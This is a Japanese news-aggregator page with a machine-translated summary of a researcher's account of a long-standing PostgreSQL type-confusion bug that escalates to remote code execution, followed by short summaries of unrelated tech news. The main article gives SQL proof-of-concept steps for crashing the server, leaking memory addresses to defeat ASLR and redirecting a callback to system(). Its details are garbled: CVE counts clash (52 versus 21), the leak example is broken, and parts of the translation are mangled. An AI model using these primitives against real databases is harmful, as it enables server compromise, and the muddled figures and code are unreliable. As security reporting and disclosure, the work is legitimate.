22歳のPostgreSQLのバグがリモートコード実行に発展した

2026/11/13 3:22

22歳のPostgreSQLのバグがリモートコード実行に発展した

RSS: https://news.ycombinator.com/rss

要約▶

Japanese Translation:

「管理された PostgreSQL インダストリにおけるシステム的リスク」シリーズの第 3 部において、著者は PostgreSQL コア内での重要な 22 年前のゼロデイ脆弱性を詳述する。この問題は、2004 年のミュータブルロウタイプに関するコミットから発生し、PostgreSQL が Datum 値を処理する方法に関する誤解に基づいていた。この欠陥は、攻撃者がデータ型を操作(例:UUID を bytea に変換)し、システムをクラッシュさせたり機密メモリを漏洩したりすることを可能にした。発見のきっかけは、2026 年 6 月から 7 月の間に

pg_clickhouse
拡張機能におけるメモリエラー問題を利用したものである。このシステム的リスクにより、52 つの新しい CVE を含んだパッチリリースが 2026 年 11 月 9 日に公開された(主要な修正は CVE-2026-6460 で、その他 5 つ)。その結果、Databricks、Google Cloud(AlloyDB)、AWS Aurora/RDS、Microsoft Azure を含む管理された PostgreSQL プロバイダーに対して、サービス向けの緊急の修正調整が強制された。

キーポイント

  • 著者は、PostgreSQL コア内でコンパウンドタイプにおけるタイプ混同脆弱性と関連する 22 年前のゼロデイを発見した。
  • このブログ投稿は、「管理された PostgreSQL インダストリにおけるシステム的リスク」シリーズの第 3 部である。
  • 調査は、拡張機能
    pg_clickhouse
    のメモリエラー脆弱性を 2026 年 6 月から 7 月にかけて利用した後、開始された。
  • 研究の中で、PostgreSQL が Datum 値(8 バイトのジェネリックキャリア)を処理する方法に関する重要な誤解が特定された。
  • プリミティブは、クエリの準備から実行の間でコンパウンドタイプの属性のタイプを変更することを可能にする。
  • UUID を bytea に変更することで、著者は
    record_out()
    および
    byteaout()
    を介してセグメンテーション・フォールトを引き起こした。
  • この攻撃は、varlena ヘッダー内の外部展開されたオブジェクト表現(具体的には 01 マーカー)を利用して制御フローを再指向させた。
  • メモリアドレスは、配列要素のタイプを混乱させること(text から bigint)によって漏洩し、ポインタ値が整数として解釈されるようにした。
  • 報告されたケースは計 21 件で、主要な修正である CVE-2026-6460 および他の 5 つ(CVE-2026-120142、CVE-2026-120148、CVE-2026-116329、CVE-2026-116306、CVE-2026-120139)を含む。
  • 脆弱性は、2026 年 11 月 9 日に 52 つの新しい CVE を含むリリースで修正された。
  • 複数の管理された PostgreSQL プロバイダーが影響を受け、修正を調整しており、Databricks、Google Cloud(AlloyDB)、Supabase、Ubicloud、AWS Aurora/RDS、Microsoft Azure が含まれる。
  • ミュータブルロウタイプのプリミティブは、2004 年 5 月 5 日に導入されたコミット(コミット 077db40fa1f3)に遡る。

本文

PostgreSQL タイプ混同系ゼロデイ脆弱性の発見と修正:2026 年夏物語

序論:「ウサギの穴」への誘い

2026 年 4 月、「マネージド PostgreSQL を使用できるか?」という単純な質問が、私を最も深い「ウサギの穴」へと引きずり込みました。数ヶ月後、その底には PostgreSQL コアに存在する 22 年間の空白期間を抱えたゼロデイ脆弱性が発見されたのです。

本記事では、このタイプ混同(Type-Confusion)系脆弱性を発見した経緯を共有します。これは「マネージド PostgreSQL 業界におけるシステムリスク」と題するシリーズの第 3 弾です。初回と第 2 回の読覧をお勧めします。

【要約】

  • 発見のきっかけ: PostgreSQL のフィールドデータ型を変更して読み込み直すことで、最も再現性の高いメモリ破損エクスプロイトが生まれました(当初は別の拡張機能
    pg_clickhouse
    から調査を開始)。
  • 研究プロセス: AI エージェント(「pg_expert」)の指導を受けながら、PostgreSQL の内部機構を解明。一見無関係な要素からすべてを繋ぎ合わせたアイデアで、初期機能(primitives)に直面しました。
  • 本記事の内容: 部品たちがどう組み合わさったかという完全版の実話です。

2026 年 8 月の始まり:Datums の謎と
pg_clickhouse
の教訓

2026 年 6〜7 月、私は PostgreSQL 拡張機能におけるメモリ破損脆弱性を調査し、コード実行を達成しました。特に

pg_clickhouse
で成功したケーススタディは重要な示唆を与えてくれました。

pg_clickhouse
エクスプロイトの教訓

  • 問題の本質:
    pg_clickhouse
    は ClickHouse の値を PostgreSQL の形式へ変換します。ClickHouse 配列と PostgreSQL 配列は構造が異なるため、拡張機能は要素を PostgreSQL が期待する形式の
    Datum
    値
    として再構築する必要があります。
  • 脆弱性の原因: この変換プロセスにおけるミスが最終的にコード実行につながりました。
  • Datums と OID の理解: これにより初めて「PostgreSQL が自身のデータをどのように理解し、表現しているか」という根本的な疑問を抱き、調査を PostgreSQL コアへと広げました。

免責事項: 上記

pg_clickhouse
の OOB(Out-of-Bounds)書き込み+読み取り連鎖はベンダーへ報告され、6 月 23 日の修正済みです。


PostgreSQL タイプ入門:黒魔法の解明

「単純なクエリ

SELECT 1337
」を分析し、Postgres の内部機構におけるデータ型の扱いを理解しました。

クエリの構文解析と Datums

SET debug_print_parse = on;
SELECT 1337;
  • パースツリーには
    "consttype": 23
    (int4) と
    "constvalue": [ 57 5 0 0 ... ]
    が含まれます。
  • 重要点:
    constvalue
    は int32 ではなく、汎用的なキャリア(運搬媒体)である 8 バイトの
    Datum
    で宣言されています。
    • 1337::int4
      はその下の 4 バイトに格納されています。
    • テキストやカスタム型も同じ 8 バイトの
      Datum
      キャリア内で表現されます(ポインタ値またはインライン値)。

Datum
の本質:それは意味を「理解」していない

  • Datums は盲目的:
    1337
    を運ぶ 8 バイト自体には「これは整数です」というラベルがありません。
  • 型判別の仕組み: PostgreSQL が「これは int4 である」と判断するのは、
    pg_type
    システムカタログに登録された OID (23) とその行内の定義によるものです。
SELECT oid, typname, typlen, typbyval 
FROM pg_type WHERE oid = 23;
-- 結果: oid=23, typname=int4, typlen=4, typbyval=true

未定義の型と動的変換

  • unknown
    タイプ
    : 引用符付きリテラル(例:
    '1337'
    )は、最終的な型が決まる前の一時的な
    unknown
    (OID 705) タイプを持っています。
  • 機能の仕組み: PostgreSQL は意図的に未指定のリテラルに対して一時的な型を割り当て、後でクエリ文脈や関数呼び出し(
    typinput
    /
    typoutput
    )によって動的に変換します。
    • int4in()
      で Datum へ変換し、
      int4out()
      でテキストへ戻す。

批判的考察: PostgreSQL は、値を構築した時と利用する時に間に 型を変更できないかという突破口を見つけました。これにより、意図しない型の出力関数(例:

textout
)を
Datum
に適用させることが可能になり、タイプ混同(Type-Confusion) が生じます。

実証:意図的なタイプ混同

-- int4 に対して textout 関数を内部言語で定義
CREATE FUNCTION pg_temp.confused_textout(integer)
RETURNS cstring LANGUAGE internal STRICT AS 'textout';

-- クラッシュ発生
SELECT pg_temp.confused_textout(1337);
-- 結果: server closed the connection unexpectedly
  • 成果: スーパーユーザーによる「LANGUAGE internal」機能を使って、ネイティブ関数に対するタイプ混同を実証しました。

寄り道:トマトと SQL インジェクションの教訓

準備済みステートメント(Prepared Statements)の分離原則における弱点について考察しました。

  • 原則: 「知識はトマトが果物であること」「知恵はそれをフルーツサラダに使わないこと」。データベースはまずクエリ構造(レシピ)を理解し、その後データ(材料)を受け付けます。
  • 発見: クエリの実行前に型を変更できるため、準備済みステートメント内の値を再解釈する余地があります。

22 年前のプリミティブの発掘

  • アイデア: 準備したクエリにおいて、コンポジット型の属性データ型を変更し、実行時に混同を引き起こす。
-- 1. コンポジット型作成 (uuid)
CREATE TYPE pg_temp.poc AS (key uuid);

-- 2. クエリの準備 (uuid を文字列として)
PREPARE pc_crash AS SELECT '(UUID_STRING)'::pg_temp.poc;

-- 3. 実行前の型変更 (bytea に変更)
ALTER TYPE pg_temp.poc ALTER ATTRIBUTE key TYPE bytea CASCADE;

-- 4. クエリの実行 → セグメンテーションフォールト
EXECUTE pc_crash;

根本原因分析:クラッシュのメカニズム

  • 状況: PostgreSQL は属性を
    bytea
    と認識し、
    byteaout()
    を呼び出します。
  • 混同点: しかし、内部データは UUID バイト(
    01 02...
    )のままです。
  • 崩壊プロセス:
    1. record_out()
      が属性を見て
      byteaout()
      を選択。
    2. byteaout()
      は外部拡張表現 (
      01 02
      ) とみなし、メモリアドレスを参照(ポインタ)と解釈。
    3. アドレスが NULL (
      00000000
      ) であるため、
      DatumGetEOHP
      で NULL ポインタへのアクセスが発生。
    4. EOH_get_flat_size(NULL)
      内でポインタデコード失敗 → SIGSEGV。

制御フローの乗っ取り:Fake Expanded Objects

  • 目標: PostgreSQL が「拡張オブジェクト」を処理するコールバックインターフェース(ネイティブ関数アドレス)を利用し、制御フローを変更する。
  • 構造:
    typedef struct ExpandedObjectMethods {
        EOM_get_flat_size_method get_flat_size;
        EOM_flatten_into_method  flatten_into;
    } ExpandedObjectMethods;
    
    // コールパス: H (Header) -> M (Methods) -> system()
    return eohptr->eoh_methods->get_flat_size(eohptr);
    
  • 戦略:
    ExpandedObjectHeader
    のヘッダー内のオフセット +0x08 に、任意のネイティブ関数(例:
    system()
    )のアドレスを配置。PostgreSQL がそのアドレスを呼び出すように誘導する。

メモリアドレス漏洩と ASLR 回避

  • 課題: ハルデニングのため
    /proc/self/mem
    を直接読み込めない。
  • 解決策: アリーデータ構造を利用したアドレス露出。
    • PostgreSQL アリー(配列)は内部に要素型を格納し、
      unnest()
      で抽出時にその型に従います。
    • 手法: 内部的には「テキストポインタ」を保持しつつ、外部から
      bigint[]
      と宣言させる。結果として、
      unnest()
      はメモリアドレスそのもの(バイナリー・バリュー)を SQL に返す。

POC: アドレス漏洩と制御

3 つの UUID を結合して 48 バイトのアリーキャリアを作成し、UUID の一部をポインタ値に変換する。

CREATE TYPE pg_temp.address_carrier AS (a uuid, b uuid, c uuid);

CREATE FUNCTION pg_temp.leak_address(r pg_temp.address_carrier) RETURNS bigint
LANGUAGE plpgsql AS $$
DECLARE pointer bigint;
BEGIN
    -- 内部的には UUID のポインタを返す(文字列解釈)
    SELECT x FROM unnest(r.a) AS item(x) LIMIT 1 INTO pointer;
    
    -- 周囲の文脈で整数として処理するためオフセット調整
    RETURN pointer + 4; 
END
$$;

-- 型変更による混同実行
ALTER TYPE pg_temp.address_carrier ALTER ATTRIBUTE a TYPE bigint[] CASCADE;

-- アドレス取得
EXECUTE address_leak;

この手法により、メモリアドレスを漏洩させ、ASLR を回避して任意のネイティブ関数を呼び出すプリミティブが完成しました。


修正と対応:CVE-2026-6460 の発表

9 November 2026: PostgreSQL セキュリティコミットにより、52 件の新 CVE を含む大きなリリースが適用されました。

  • 主な修正 (CVE-2026-6460): タイプ混同の主要なアンブレラ修正。コンポジット型における属性バージョン管理を強化し、データとスキーマの不整合によるメモリ破損を防ぎました。
  • 関連 CVE: 匿名 RECORD デスクリプタ問題、統計インポート時の型不整合、整数オーバーフローなど、合計 21 件のケースが修正されました。

マネージド PostgreSQL プロバイダーとの調整

  • 戦略: リスクの外部化は不可能なため、マネージド DB業界全体へ脆弱性の報告と POC を共有し、インフラの外部化を含めリスクを共有・管理する仕組みを確認しました。
  • 対応状況: 全ての Postgres 互換オファリングが影響を受けており、セキュリティチームへの迅速な報告が行われました。
    • Databricks, Google (AlloyDB), Supabase, Ubicloud, AWS Aurora/RDS, Microsoft Azure: すべて POC を受け取り、優先的に修正を行いました。
    • 緩和措置: 一部のベンダーは、アップストリームリリースを待つことなく、独自のパッチを顧客向けに即時提供しました。

おわりに:コミュニティへの感謝と今後の展望

20 年間のセキュリティ活動の中で最も印象的だったのは、PGCONF.eu で受けた暖かい歓迎でした。オープンソースへの貢献は私にとって意义重大であり、このエコシステムの成長を心から応援しています。

  • 講演情報: 「Nobody Gets to Be Superuser (Until I Broke In)」の録画版は公開されませんでしたが、90 分バージョンの発表があります。

この脆弱性は、単なるバグ修正を超え、セキュリティ研究コミュニティ全体の力と信頼を体現しました。ご感想をお聞かせください。

同じ日のほかのニュース

一覧に戻る →

2026/11/13 3:39

Rust 1.100

## Japanese Translation: はい、元のサマリーは具体的な技術的な安定化の範囲を捉えたり、アロケータの機能に関する曖昧さを解消したりするために改善が必要です。 **改訂されたサマリー:** Rust チームは公式にバージョン 1.100.0 をリリースしました。これは長待たされてきた機能である「never type」(`!`)を安定化させ、より効率的でカスタマイズ可能なメモリ管理システムを構築するための強力な新 API を導入するマイルストーンです。このリリースには、トランザクションのような安全性を提供する `DropGuard` API、ゼロサイズタイプを作成するための `conjure_zst`、および `Vec` および `Box` 用のアロケータに特化したコンストラクタなど、主要な機能が追加されています。 アップグレードするには、ユーザーは `rustup update stable`を実行するか、`rustup` が不足している場合は Rust ウェブサイトからツールを直接ダウンロードしてください。ほとんどの変更は安全ですが、2024 年版より前のエディションのユーザーにとっては重要な不互換の変更があります:never type の内部フォールバックが `()` から `!` にシフトしました。開発者はコードを調整し、互換性を維持するために新しい `Infallible`アリアスを使用する必要があります。また、このアップデートは Cargo において重大な安全性の向上をもたらしており、未使用の依存関係に対するデフォルト警告や、サプライチェーンリスクを軽減するための最小公開年齢の設定などが含まれます。チームは、早期の問題発見に貢献し、よりスムーズなエコシステムの発展を実現するため、ユーザーがベータまたはナイトリーチャンネルで今後のリリースを試すことを推奨しています。

2026/11/13 3:52

ジェミニ4水和素およびオーケストレーター

## Japanese Translation: 本日、Google は独立した AI モデル「Gemini 4 Hydrogen」を発表し、人工知能分析指数(Artificial Analysis Intelligence Index)でスコア 51 を記録して Argon の 50 を上回るとともに、Terminal-Bench 4.1 で 57% のスコアを取得し、前 versions の 3.8 Flash バージョンの性能を 3 倍以上向上させました。このリリースでは、「Orchestrator」という動的システムが新たに導入されました。これは現在、Google AI Ultra サブスクリプションユーザーに利用可能であり、Hydrogen と Carbon 計画モデルを組み合わせることで複雑なワークフローを最適化します。静的ルーティングシステムとは異なり、Orchestrator は双方向のアプローチを採用しており、Carbon が読み取り専用フェーズと計画を担当し、Hydrogen が書き込み、編集、テストを担当します。Hydrogen が困難に遭遇した場合は、自動的に Carbon に戻って計画の修復を受け、その後再開を行います。この動的な協調により、Carbon のタスク成功率达到にほぼ匹敵しつつ、コンピューティングクォータは 24% 削減し、タスク完了を 19% 高速化を実現しています。開発者は Antigravity SDK を直接使用して多モデルパイプラインに対するプログラム制御を行うことができ、Hydrogen は推論深度の 4 レベル(low、medium、high、xhigh)を提供します。今後の更新では、オープンソースデモへのアクセスが拡大され、例えばエージェントが高速な反復と高レベルのセキュリティチェックの間で任務を分担する問題の分類など、新たなユースケースが追加される予定です。最終的に、このイノベーションは要求の高いソフトウェア開発タスクに対して効率的なリソース配分を提供し、速度や品質を損なうことなく高度な低遅延推論機能を備えています。

2026/11/13 6:13

Foundation Models フレームワーク (macOS)

## Japanese Translation: Apple の Foundation Models フレームワークは、大規模言語モデルをシームレスに統合するネイティブ Swift API を提供することで、アプリ開発を革新します。その最も重要な特徴は、オンデバイスまたはクラウドにあるどの AI モデルプロバイダーにも、複雑な設定なしでアクセスできるようにする統一プロトコルです。ガイド付き生成、ツール呼び出し、画像理解(マルチモーダルプロンプト、Vision フレームワークによる OCR、バーコードスキャンを含む)、ダイナミックプロファイルといった組み込みツールがワークフローを簡素化し、Evaluations フレームワークはプロンプトのテストおよび動的条件下での機能検証を可能にします。プライバシー重視の Private Cloud Compute は、ユーザーデータが安全な環境外に出るか Apple によって保存されることはありません。特に、App Store Small Business プログラムに登録しており、初回ダウンロード数が 200 万未満の開発者は、これらのリソースを無料でお使いいただけます。さらに、新しい Python SDK がエコシステムのリーチを広げ、人気ツールとの統合を容易にし、カスタムスキルやコンテキスト管理ヘルパーなどの実験的機能を備えたオープンソースユーティリティパッケージが提供されています。今後、macOS 27 ではフルアプリケーションを書かずに高速なスクリプト作成と自動化を実現する `fm` CLI ツールを導入します。多様なモデル機能—from オンデバイス機能から Claude サーバーサイドの巨人まで—を一元化することで、このフレームワークは開発を簡素化しユーザーデータを保護し、あらゆるデバイスにわたる AI 統合のための堅牢な未来を確立します。

22歳のPostgreSQLのバグがリモートコード実行に発展した | そっか~ニュース